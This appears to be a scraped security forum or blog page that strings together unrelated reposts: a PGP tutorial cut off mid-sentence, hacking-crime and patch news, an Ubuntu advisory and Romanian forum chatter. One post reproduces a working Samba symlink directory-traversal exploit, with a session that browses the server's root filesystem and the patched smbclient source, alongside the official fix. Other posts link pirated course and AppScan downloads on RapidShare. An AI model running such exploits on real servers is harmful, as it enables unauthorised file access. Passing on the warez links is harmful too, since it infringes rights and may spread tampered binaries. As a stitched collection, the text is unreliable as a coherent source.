version and try it yourself from here http://www.pgp.com/downloads/desktoptrial/desktoptrial2.html How it works Now, that you installed a software (I assume), you should have a small program responsible for key management, that will usually be GPA if you got GPG4win, KGpg for KDE Linux or else, Seahorse if you are using Gnome. A Key Manager is used to create, delete, import, export and backup keys in addition to some few other management tasks. So what are these keys used for? When you create a key, the software generates two, a private key for your own use and a relevant public key that can be sent to all other people to communicate securely with you. What you really need to understand is that: 1. All data encrypted with your public key, can only be decrypted with your private key. This is how GPG provide confidentiality i.e. data can only be read by the person who is meant to read it. So, if Bob wants to send a confidential file to Alice, he encrypts the file with her public key and sends it. Do you see how important it is to keep your private key secure? That is why the software makes you protect it with a passphrase. 2. All data you encrypt with your private key can be decrypted using the public key: this implies that if Alice is able to decrypt data using Bob’s public key, she knows for sure that he was the one who encrypted it, no one else. Digital Signatures But why should Bob encrypt the whole file if all he needs is to prove authenticity to Alice? What if he is sending the file to many people and only Alice needs to authenticate it? For this reason, we have digital signatures: Bob can simply sign the file with his private key instead of encrypting it. Signing files can be done using Kleopatra if you installed GPG4win, otherwise simply right-click any file and the popup menu you get should have a new option to let you sign and/or encrypt the file. Signing a file results in a digital signature, which contains a message digest (can be produced using a hash function such as MD5 algorithm) of the original file encrypted with Bob’s private key. The message digest maintains data integrity, because any change happens to the file changes its digest as well. While the fact that it has been encrypted with Bob’s private key proves him as the original sender. Interestingly, this can also be used as a method of non-repudiation, which implies that it prevents the sender from claiming that he or she did not actually send the information! Now if Bob’s public key can decrypt and read the signature, Alice knows he is the sender, and then she uses the content (the message digest hash) to compare with a new calculated hash of the file she received. If they match, then the file has not been altered. Meanwhile, other people who might have received the file and does not have Bob’s public key, can simply use the file (because it is not encrypted) and ignore the digital signature. Of course all of this is done easily by the software, no much manual work for you other than understanding how the software works. Key Servers and Public Key Distribution Exchanging public keys can be easy with a friend you already know, but what if you don’t have a direct contact with the person? How can you make sure the key you get isn’t fake? What if someone else made it up? As a solution, Key Servers host public keys for everyone and provide you with solutions to work around this problem. PGP Global Directory http://keyserver.pgp.com/ for example verify the email address attached to every key before listing them online, hence, if you recognize the email address, you could trust the public key attached belongs to the owner of the email address. Another one is SKS OpenPGP Keyserver http://keys.gnupg.net/ . It shows you how many users trusted a certain public key and signed it as valid. In principle, if you see that many users signed a key, you might have a reason to think it actually belongs to its owner. This method is called “web of trust" and it helps to authenticate keys. So, it is best that you sign the keys you personally trust and ask the people who know you to sign your key as well to show it as valid. Make sure you don’t forget publishing any public key you sign to the key servers. There are many key servers and many of them are linked together, so once you send your public key to one of them manually or by using your software, consequently, they will update each other with your information. Digital Certificates When someone signs a public key as valid, this operation results in what we call: a digital certificate. So, a digital certificate consists of a public key, identity information (owner’s name, email etc) and a digital signature by a third party to verify that the identity information belongs to the public keys. The third party can be a person, group, organization etc. Conclusion An interesting idea if you have some private data that you share with somebody is to encrypt it twice with both of your public keys. That way, neither of you can make use of it alone! Source : hackthissite.org

PITTSBURGH — A skilled San Francisco-based computer intruder was sentenced to 13 years in federal prison Friday for stealing nearly two million credit card numbers from banks, businesses and other hackers — receiving the longest hacking sentence in U.S. history. maxraybutler Max Ray Vision, 37, was also ordered to pay $27.5 million in restitution, and to serve five years under court supervision following his release, during which time he’ll be allowed to use computers only for legitimate employment or education. Vision, who changed his name from Max Butler shortly before his arrest, ran an online forum for thousands of identity thieves called CardersMarket, where he sold credit card magstripe data to the underground for about $20 a card. He was caught with 1.8 million stolen credit card numbers belonging to 1,000 different banks, who tallied the fraudulent charges on the cards at $86.4 million. The hacker faced up to life in prison under federal sentencing guidelines. But prosecutor Luke Dembosky on Friday recommended the significantly-lower 13-year sentence, noting that Vision has provided substantial assistance to the government during his time in pre-trial custody. “I was quite impressed by the cooperation shown by Mr. Butler,” agreed U.S. District Judge Maurice Cohill Jr. Dressed in orange jail clothes, the soft-spoken hacker said little at Friday’s hearing, which at times felt more like an awards ceremony than a sentencing, with Vision’s lawyer, prosecutor and judge taking turns praising the hacker for his computer skills, and his apparent remorse over his crimes. “I have a lot of regrets, but I think my essential failing was that I lost touch with the accountability and responsibility that comes with being a member of society,” Vision wrote in a letter to the judge on Thursday. “I’ve changed,” Vision added in court Friday. “He’s a likable person,” said prosecutor Dembosky. “Almost wide-eyed and optimistic in his view of the world.” In the late 1990s, Vision was a superstar in the computer security community, billing himself out as a $100-an-hour computer security consultant. He gave the FBI information on security and piracy threats, and earned the respect of his peers for creating and curating an open source library of attack signatures used to detect computer intrusions. But it turned out Vision was staging recreational hacks on the side, and in 2001 he was sent to federal prison for 18 months for launching a scripted attack that closed security holes on thousands on Pentagon systems, and left backdoors and packet-sniffers behind for his own use. While in prison, Vision met more serious criminals, and after his release one of them introduced him to an Orange County, California entrepreneur and former bank robber named Chris Aragon, who became Vision’s partner. Aragon, who’s pending trial on related state charges in southern California, used Vision’s stolen credit card data to create near-perfect counterfeit cards, complete with holograms, and recruited a crew of shoppers who used the cards to snap up designer merchandise for resale on eBay. Aragon earned at least $1 million in the business, police say. Vision also sold the credit card data online under the handles “Generous” and “Digits.” He stole data from restaurant point-of-sale terminals and other targets, including competing hackers. “From what I know, his actual income from this entire event is probably not even a million dollars,” federal public defender Michael Novara said Friday. The hacker became a priority to federal law enforcement officials in 2006, when, under the handle “Iceman,” he staged a brazen takeover of the competing online carder forums where hackers and fraudsters buy and sell stolen data, fake IDs and specialized underground services. He hacked into the forums, wiped out some of their databases, and absorbed their content and membership into his own site, CardersMarket. On one of the sites he hacked, called DarkMarket, Butler later discovered that an administrator named “Master Splyntr” was logging in from an FBI office in Pittsburgh. Butler partnered with a Canadian hacker to try and expose Master Splyntr as a fed, but his claim was largely dismissed in the underground as inter-forum rivalry. DarkMarket went on to become a full-blown undercover FBI operation, and the FBI and Secret Service began an investigation into “Iceman.” Using informants and some genuine electronic gumshoe work, the feds identified Iceman as Butler about a year later, and arrested him in September 2007 at a corporate apartment he used as a hacking safe house. When the feds seized his computer, they found five terabytes of encrypted data. Experts at Carnegie Mellon University’s Computer Emergency Response Team eventually cracked Vision’s crypto. Vision’s plea deal also wraps up a separate federal case in Virginia, in which Vision was charged with staging the first documented “spear phishing” attack against employees of a financial institution, gaining access to the corporate network of Capital One bank. Vision’s 13 year term is the longest U.S. hacking sentence, though that record will likely be eclipsed next month when confessed TJX hacker Albert Gonzalez faces the first of two sentencing hearings. One of Gonzalez’s plea agreements contemplates a term of 17 to 25 years in prison. With credit for time served and good behavior, Vision will be released in December, 2018 Vision wrote in a letter http://www.wired.com/images_blogs/threatlevel/2010/02/vision_letter.pdf to the judge on Thursday wired.com

In discursul pe care l-ai facut vazusem in multe locuri fraze filozofice care au fost spuse si in acelasi timp scrise de foarte mult timp.Multe din aceste fraze au influentat foarte mult in secolele care au trecut filozofia orientala si nu numai .Te refereai la inamici , la victime si la restul ce ai scris in legatura cu ei. Acest lucru imi aduce aminte o singura fraza care mi-a ramas in minte "Cea mai buna batalie este cea castigata fara lupta" ,iar celora la care le place sa citeasca si inca nu au citit recomand The art of war by Sun Tzu

This is the last watch.jpg

LinuxCBT BASH Edition is a great product to help aspiring Linux Systems Administrators to develop foundation GNU/Linux Scripting skills. All of the subsequent LinuxCBT Scripting products, Perl, Python & PHP, are premised on the foundations of the basic shell environment. LinuxCBT BASH Edition prepares you or your organization for successfully automating Linux environments using the default shell; BASH. Recommended Prerequisites: * LinuxCBT Classic or Debian GNU/Linux Editions - Operating System (OS) Base * Open mind & determination to master Linux Scripting Solutions - BASH * Access to a GNU/Linux-based PC to perform exercises in LinuxCBT BASH Edition Bourne Again Shell (BASH) Scripting * Introduction to BASH Command Line Interface (CLI) o Identify BASH installation & key configuration files on RedHat & Debian GNU/Linux distros + .profile/.bash_profile/.bashrc/.bash_history o Identify & use common built-in BASH commands (pwd,cd,set,unset,export,source,etc.) o BASH Command-line Expansion + Brace Expansion + Tilde Expansion + Parameter & variable Expansion + Command Substitution o BASH Reserved words o BASH History identification & configuration o Aliases (ls,du,df,rm,cp) o Backticks - command expansion & execution o BASH Prompt configuration o Command chaining o Error level/Return code (Command Exit Status) identification + Test return 0 + Test return 126 - permissions + Test return 127 - command not found o Conditional execution of subsequent commands (&&,||) * * Redirection o Standard Input + Direct input from Standard Input + Redirect input from a file o Standard Output + Direct output to Standard Output + Redirect output to a file + Append Standard Output to an existing file o Standard Error + Redirect Standard Error o Input/Output (I/O) Redirection + Pipes + Sequential execution via pipes o Quoting & Escaping + single quotes preserves whitespace, double quotes don't + Full-quoting - single quotes - all enclosed values are literal + Partial quoting - double quotes - all enclosed values are literal except "$, \, `" + \ is the escape character used to treat following strings literally * * BASH Scripting o Basic Script definition (hello world), permissions modification & execution o Internal BASH variables o Global Variable definition o Function definition o Local Variable definition - function scope o BASH Arrays o Loops + For + While + Until o Menu creation using Select o Job control - Foreground/Background processing o Conditionals - If-Then-Else - Testing o Case - Concise Conditional Branching o Positional Parameters * * BASH Script Definition o Create BASH script to move multiple files to new names defined by positional parameters o Create script to monitor directory for file changes and report the differences via E-mail to Administrator o Create script to monitor directory size and report threshold encroachment to Administrator via E-mail o Define script to parse logs for keywords and notify the Administrator via E-mail o Create script to monitor network connectivity between hosts and report outages to Admin via E-mail o Define script to monitor process, restart if fails, and E-mail Administrator at defineable limits o Create script to backup sub-directories using Tar & Gzip, define threshold, and SSH file to remote host o Log the output of BASH scripts to a Syslog-like format Download: http://rapidshare.com/files/145462421/CD1_BASH.part1.rar http://rapidshare.com/files/145462448/CD1_BASH.part2.rar http://rapidshare.com/files/145462103/CD1_BASH.part3.rar

5 February 2010 A user named "kcopedarookie" posted what they claim to be a video of a zero-day exploit in Samba on youtube yesterday. The video shows modifications to smbclient allowing /etc/passwd to be downloaded from a remote server. The issue is actually a default insecure configuration in Samba. Quick FAQ: What do I do ! Set: wide links = no in the [global] section of your smb.conf and restart smbd to eliminate this problem. Longer FAQ: The real issue The problem comes from a combination of two features in Samba, each of which on their own are useful to Administrators, but in combination allow users to access any file on the system that their logged in username has permissions to read (this is not a privilege escalation problem). By default Samba ships with the parameter "wide links = yes", which allows Administrators to locally (on the server) add a symbolic link inside an exported share which SMB/CIFS clients will follow. As an example, given a share definition: [tmp] path = /tmp read only = no guest ok = yes The administrator could add a symlink: $ ln -s /etc/passwd /tmp/passwd and SMB/CIFS clients would then see a file called "passwd" within the [tmp] share that could be read and would allow clients to read /etc/passwd. If the "wide links" parameter is set to "no", any attempt to read this file will fail with an "access denied" error. The problem occurs as Samba allows clients using the UNIX extensions (which are also turned on by default) to create symlinks on remotely mounted shares on which they have write access that point to any path on the file system. This is by design, as applications running on UNIX clients may have good reasons to create symlinks anywhere on the filesystem they have write access that point to local files (such as /etc/passwd). UNIX clients will resolve these links locally, but Windows clients will resolve them on the server. It is this combination that causes the problem. All future versions of Samba will have the parameter "wide links" set to "no" by default, and the manual pages will be updated to explain this issue. samba.org Exploit session (using the patched smbclient exploit): smb is a samba user created. root () nr-pentest:~/Downloads/samba-3.4.5/source3# /usr/local/samba/bin/smbclient -s /etc/samba/smb.conf -Usmb //<host>/testmount/ Enter smb's password: Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.4.0] smb: \> ls . D 0 Wed Feb 3 14:27:03 2010 .. D 0 Wed Feb 3 14:19:13 2010 test D 0 Wed Feb 3 14:19:13 2010 xxx A 1955 Wed Feb 3 14:22:42 2010 45503 blocks of size 2097152. 24437 blocks available smb: \> symlink ../../../../../ foobar smb: \> ls . D 0 Wed Feb 3 14:27:47 2010 .. D 0 Wed Feb 3 14:19:13 2010 xxx A 1955 Wed Feb 3 14:22:42 2010 foobar D 0 Mon Feb 1 20:29:12 2010 45503 blocks of size 2097152. 24437 blocks available smb: \> ls .. NT_STATUS_OBJECT_PATH_SYNTAX_BAD listing \.. 45503 blocks of size 2097152. 24437 blocks available smb: \> cd foobar smb: \foobar\> ls . D 0 Mon Feb 1 20:29:12 2010 .. D 0 Mon Feb 1 20:29:12 2010 initrd.img.old 7646184 Mon Jan 18 13:15:48 2010 boot.ini 18832 Mon Feb 1 20:29:12 2010 home D 0 Mon Jan 18 13:08:24 2010 initrd.img 8007195 Thu Jan 21 21:51:26 2010 .cache DH 0 Sat Jan 23 14:19:08 2010 opt D 0 Sat Jan 30 11:39:59 2010 lib D 0 Thu Jan 21 21:13:01 2010 usr D 0 Sun Jan 31 22:08:11 2010 .libs DH 0 Thu Jan 21 12:30:48 2010 var D 0 Sun Jan 31 21:14:42 2010 bin D 0 Mon Jan 18 13:31:14 2010 selinux D 0 Tue Oct 20 01:05:22 2009 root D 0 Tue Feb 2 19:43:59 2010 vmlinuz.old 3890400 Fri Oct 16 20:03:49 2009 vmlinuz 3890560 Thu Dec 10 20:33:26 2009 etc D 0 Wed Feb 3 14:17:29 2010 srv D 0 Sat Jan 23 20:17:29 2010 proc DR 0 Wed Feb 3 14:10:41 2010 dev D 0 Wed Feb 3 14:11:02 2010 boot D 0 Thu Jan 21 21:51:26 2010 mnt D 0 Sat Jan 23 19:26:23 2010 media D 0 Fri Jan 29 08:32:31 2010 cdrom D 0 Mon Jan 18 12:40:11 2010 tmp D 0 Wed Feb 3 14:26:20 2010 sbin D 0 Thu Jan 21 21:50:58 2010 lost+found D 0 Mon Jan 18 12:39:57 2010 sys D 0 Wed Feb 3 14:10:41 2010 45503 blocks of size 2097152. 24437 blocks available smb: \foobar\> put and get works in the folder now! list open shares, this is normal operation mode not an exploit: root () nr-pentest:~/Downloads/samba-3.4.5/source3/client# /usr/local/samba/bin/smbclient -s /etc/samba/smb.conf -L //<host>/ Enter root's password: Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.4.0] Sharename Type Comment --------- ---- ------- testmount Disk // < this share is writable and exploitable!! print$ Disk Printer Drivers IPC$ IPC IPC Service (nr-pentest server (Samba, Ubuntu)) Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.4.0] Server Comment --------- ------- NR-PENTEST nr-pentest server (Samba, Ubuntu) Workgroup Master --------- ------- WORKGROUP NR-PENTEST smbclient patch (exploit): samba-3.4.5/source3/client/client.c /**************************************************************************** UNIX symlink. ****************************************************************************/ static int cmd_symlink(void) { TALLOC_CTX *ctx = talloc_tos(); char *oldname = NULL; char *newname = NULL; char *buf = NULL; char *buf2 = NULL; char *targetname = NULL; struct cli_state *targetcli; if (!next_token_talloc(ctx, &cmd_ptr,&buf,NULL) || !next_token_talloc(ctx, &cmd_ptr,&buf2,NULL)) { d_printf("symlink <oldname> <newname>\n"); return 1; } oldname = talloc_asprintf(ctx, "%s", // << HERE modified buf); if (!oldname) { return 1; } newname = talloc_asprintf(ctx, "%s", // << HERE modified buf2); if (!newname) { return 1; } /* ORIGINAL SMBCLIENT SOURCE LINES TO BE MODIFIED (SEE ABOVE). oldname = talloc_asprintf(ctx, "%s%s", // < modified (see above) client_get_cur_dir(), // < removed (see above) buf); if (!oldname) { return 1; } newname = talloc_asprintf(ctx, "%s%s", // < modified (see above) client_get_cur_dir(), // < removed (see above) buf2); if (!newname) { return 1; } ----------------------------------------------*/ if (!cli_resolve_path(ctx, "", auth_info, cli, oldname, &targetcli, &targetname)) { d_printf("link %s: %s\n", oldname, cli_errstr(cli)); return 1; } if (!SERVER_HAS_UNIX_CIFS(targetcli)) { d_printf("Server doesn't support UNIX CIFS calls.\n"); return 1; } if (!cli_unix_symlink(targetcli, targetname, newname)) { d_printf("%s symlinking files (%s -> %s)\n", cli_errstr(targetcli), newname, targetname); return 1; } return 0; } // Cheers, // kcope

Ubuntu Security Notice USN-898-1 February 10, 2010 gnome-screensaver vulnerability CVE-2010-0414 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 9.10 This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 9.10: gnome-screensaver 2.28.0-0ubuntu3.4 After a standard system upgrade you need to restart your session to effect the necessary changes. Details follow: It was discovered that gnome-screensaver did not correctly handle monitor hotplugging. An attacker with physical access could cause gnome-screensaver to crash and gain access to the locked session. Updated packages for Ubuntu 9.10: Source archives: http://security.ubuntu.com/ubuntu/pool/main/g/gnome-screensaver/gnome-screensaver_2.28.0-0ubuntu3.4.diff.gz Size/MD5: 14438 df2eeb9fde262814316d3d909bcc29aa http://security.ubuntu.com/ubuntu/pool/main/g/gnome-screensaver/gnome-screensaver_2.28.0-0ubuntu3.4.dsc Size/MD5: 1757 6aa4026ae6faa87f58a76d0def8220cb http://security.ubuntu.com/ubuntu/pool/main/g/gnome-screensaver/gnome-screensaver_2.28.0.orig.tar.gz Size/MD5: 5069053 cdf328a0443a3cc30b4b2b36d9a99236 amd64 architecture (Athlon64, Opteron, EM64T Xeon): http://security.ubuntu.com/ubuntu/pool/main/g/gnome-screensaver/gnome-screensaver_2.28.0-0ubuntu3.4_amd64.deb Size/MD5: 4185932 a64b30c3d21a6914d1a2376c9b85c34d i386 architecture (x86 compatible Intel/AMD): http://security.ubuntu.com/ubuntu/pool/main/g/gnome-screensaver/gnome-screensaver_2.28.0-0ubuntu3.4_i386.deb Size/MD5: 4169482 988fb3a93243e21d863462a7ec9c4d71 lpia architecture (Low Power Intel Architecture): http://ports.ubuntu.com/pool/main/g/gnome-screensaver/gnome-screensaver_2.28.0-0ubuntu3.4_lpia.deb Size/MD5: 4170332 40dcb1fb1c203811b2c4c0895a9e22af powerpc architecture (Apple Macintosh G3/G4/G5): http://ports.ubuntu.com/pool/main/g/gnome-screensaver/gnome-screensaver_2.28.0-0ubuntu3.4_powerpc.deb Size/MD5: 4179928 709de0a74df0c05f3605b30eae34edba sparc architecture (Sun SPARC/UltraSPARC): http://ports.ubuntu.com/pool/main/g/gnome-screensaver/gnome-screensaver_2.28.0-0ubuntu3.4_sparc.deb Size/MD5: 4178372 cc91e447b311c1f509cbcfbf635c92a6

February 9, 2010 Poughkeepsie Loses $378K in Fraudulent Transfers Officials in the Town of Poughkeepsie, NY report a computer hacker broke into the town's bank account and stole $378,000 in municipal funds. Poughkeepsie Supervisor Patricia Myers announced on Feb. 2 that the money was transferred to banks in Ukraine after someone broke into the town's TD Bank account in Jan. Similar thefts have occurred at businesses and government offices across the country where hackers get the online banking credentials of the business or government agency and send fraudulent ACH transactions to banks outside of the U.S. or to "money mules" who then wire the money to the hackers overseas. Myers says four illegal transfers from the town's TD Bank account were made over two business days beginning on Jan. 12. Town leaders were tight-lipped about the ongoing criminal investigation, which prompted a closed-door meeting on Jan. 18. Police say $95,000 of the stolen money was recovered from a Ukraine bank. The town's police and federal agents continue to probe the thefts. "Efforts are still underway to catch those responsible and recover the remaining $283,000," Myers states in a release about the heist. "This is an ongoing, active investigation involving the Secret Service, FBI and Town of Poughkeepsie police." Poughkeepsie Police Chief Thomas Mauro says there's no evidence that any town employees or officials were involved in the theft. Myers says that TD Bank was immediately notified about the illegal transfers, adding, "We find it unacceptable that movement, or attempted movement, of money from a Town account to an account in Eastern Europe did not immediately raise a 'red flag' with the bank, was not questioned by anyone at the bank, but was simply processed. We are equally disappointed that in the three weeks since the thefts were detected, no representative from TD Bank has come to Town Hall to speak with us about the situation." TD Bank issued the following statement about the incident: "Since the law enforcement investigations into this matter are still ongoing, it would be premature to speculate on exactly how the fraud occurred. We also can't elaborate on the matter or the transfers themselves in respect to customer confidentiality. We have been in contact with the Town and are working to set up a meeting to discuss the matter. The Town is a valued customer and we are committed to working with them on this issue." Hackers are also suspected of stealing $3 million from a Schenectady County school district in December. Most of the school district's money has been recovered. bankinfosecurity.com

AppScan RapidShare: 1-CLICK Web hosting - Easy Filehosting Not tested !

Iar daca vreti video aici zimus.7z

Oricum winhackingexposed este o carte foarte recomandata , in multe carti de securitate face exemplu pt ea . Citisem cateva scrise de Stuart McClure in care face referinte la aceasta carte si cateva exemple .

Friday, 5 February 2010 A 17-year-old bug in Windows will be patched by Microsoft in its latest security update. The February update for Windows will close the loophole that dates from the time of the DOS operating system. First appearing in Windows NT 3.1, the vulnerability has been carried over into almost every version of Windows that has appeared since. The monthly security update will also tackle a further 25 holes in Windows, five of which are rated as "critical". Home hijack The ancient bug was discovered by Google security researcher Tavis Ormandy in January 2010 and involves a utility that allows newer versions of Windows to run very old programs. Mr Ormandy has found a way to exploit this utility in Windows XP, Windows Server 2003 and 2008 as well as Windows Vista and Windows 7. The patch for this vulnerability will appear in the February security update. Five of the vulnerabilities being patched at the same time allow attackers to effectively hijack a Windows PC and run their own programs on it. STAYING SAFE ONLINE Use security software that can tackle viruses and spyware Use a firewall Apply operating system updates as soon as they become available Be suspicious of unsolicited e-mails bearing attachments Keep your browser up to date As well as fixing holes in many versions of Windows, the update also tackles bugs in Office XP, Office 2003 and Office 2004 for Apple Macintosh machines. The bumper update is not the largest that Microsoft has ever released. The security update for October 2009 tackled a total of 34 vulnerabilities. Eight of those updates were rated as critical - the highest level. In January 2010, Microsoft released an "out of band" patch for a serious vulnerability in Internet Explorer that was being exploited online. The vulnerability was also thought to be the one used to attack Google in China. Following the attack on Google, many other cyber criminals started seeking ways to exploit the loophole. Also this week, a security researcher has reported the discovery of a vulnerability in Internet Explorer that allows attackers to view the files held on a victim's machine. Microsoft has issued a security bulletin about the problem and aims to tackle it at a future date. At the moment there is no evidence that this latest find is being actively exploited online. news.bbc